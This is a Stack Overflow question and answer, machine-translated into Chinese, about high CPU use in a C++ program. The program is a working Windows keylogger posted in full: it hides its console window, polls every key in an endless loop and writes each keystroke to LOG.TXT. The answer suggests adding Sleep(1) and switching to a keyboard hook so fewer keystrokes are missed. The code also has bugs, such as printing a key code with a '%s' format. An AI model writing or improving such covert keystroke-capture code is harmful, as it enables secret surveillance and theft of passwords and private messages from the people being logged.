【问题标题】:C++ High CPU Use [duplicate]C ++高CPU使用率[重复]
【发布时间】:2015-11-12 19:05:23
【问题描述】:

我在我的电脑上运行它,它占用了我大约 25% 的 CPU,而且我有 i5...(只有 300kb 的 RAM) 我需要更改以减少使用量。 谢谢。 是循环还是其他我没有注意到的东西,我真的不知道 CPU 使用情况。

#define _CRT_SECURE_NO_DEPRECATE //placed for unsafe warnings of fopen

    #include <iostream>
    #include <Windows.h>
    #include <WinUser.h>

    int Save (int key_stroke, char *file); 

    int main()
    {
        char i;
        ShowWindow(FindWindowA("ConsoleWindowClass", NULL), false);
        while (1) //consider an option to close console rather than keep looping forever
        {
              for (i = 8; i <= 190; i++)
              {
                if (GetAsyncKeyState(i) == -32767) 
                {
                    Save (i,"LOG.TXT");
                }
              }
        }      

        FreeConsole();

        std::cin.get();     //instead of sys pause, although will never occur because of the 
        return 0;           //infinite while loop
    }
    /* ********************** */
    /* ********************** */

    //changed "Key_stroke" to "key_stroke" 
    //also changed 's' to 'S' because that's how function was defined (line 7)
    int Save (int key_stroke, char *file) 
    {
        if (key_stroke == 1|| key_stroke == 2)
        {
            return 0;
        }
        FILE *OUTPUT_FILE;
        OUTPUT_FILE = fopen(file, "a+"); //#define used to prevent warning (at top)
        std::cout << key_stroke << std::endl; //using std::<whatever> instead of namespace

        //changed format to reduce lines
        if (key_stroke == 8) fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]"); 
            else if (key_stroke == 13) fprintf (OUTPUT_FILE, "%s", "[/n]");
            else if (key_stroke == 32) fprintf (OUTPUT_FILE, "%s", " ");
            else if (key_stroke == VK_TAB) fprintf (OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT) fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL) fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE) fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END) fprintf (OUTPUT_FILE, "%s", "[END]");
            else if (key_stroke == VK_HOME) fprintf (OUTPUT_FILE, "%s", "[HOME]");
            else if (key_stroke == VK_LEFT) fprintf (OUTPUT_FILE, "%s", "[LEFT}");
            else if (key_stroke == VK_RIGHT) fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
            else if (key_stroke == VK_UP) fprintf (OUTPUT_FILE, "%s", "[UP]");
            else if (key_stroke == VK_DOWN) fprintf (OUTPUT_FILE, "%s", "[DOWN]");
            else if (key_stroke == 190 || key_stroke == 110) fprintf (OUTPUT_FILE, "%s", " . ");

            //corrected logic error
            else fprintf (OUTPUT_FILE, "%s", &key_stroke);

            fclose (OUTPUT_FILE); //always closes despite any conditionals
            return 0;
    }

【问题讨论】:

    标签: c++ visual-c++ cpu c++builder cpu-usage


    【解决方案1】:

    for 循环之后添加Sleep(1);(值以毫秒为单位)。

    但增加延迟可能会导致键盘记录器丢失击键。即使没有延迟,您的方法也不可靠。

    请考虑使用键盘挂钩,每次按下某个键时,Windows 都会调用您的函数。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2010-12-06
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2021-12-09
      • 2014-07-16
      • 2014-08-24
      • 1970-01-01
      相关资源
      最近更新 更多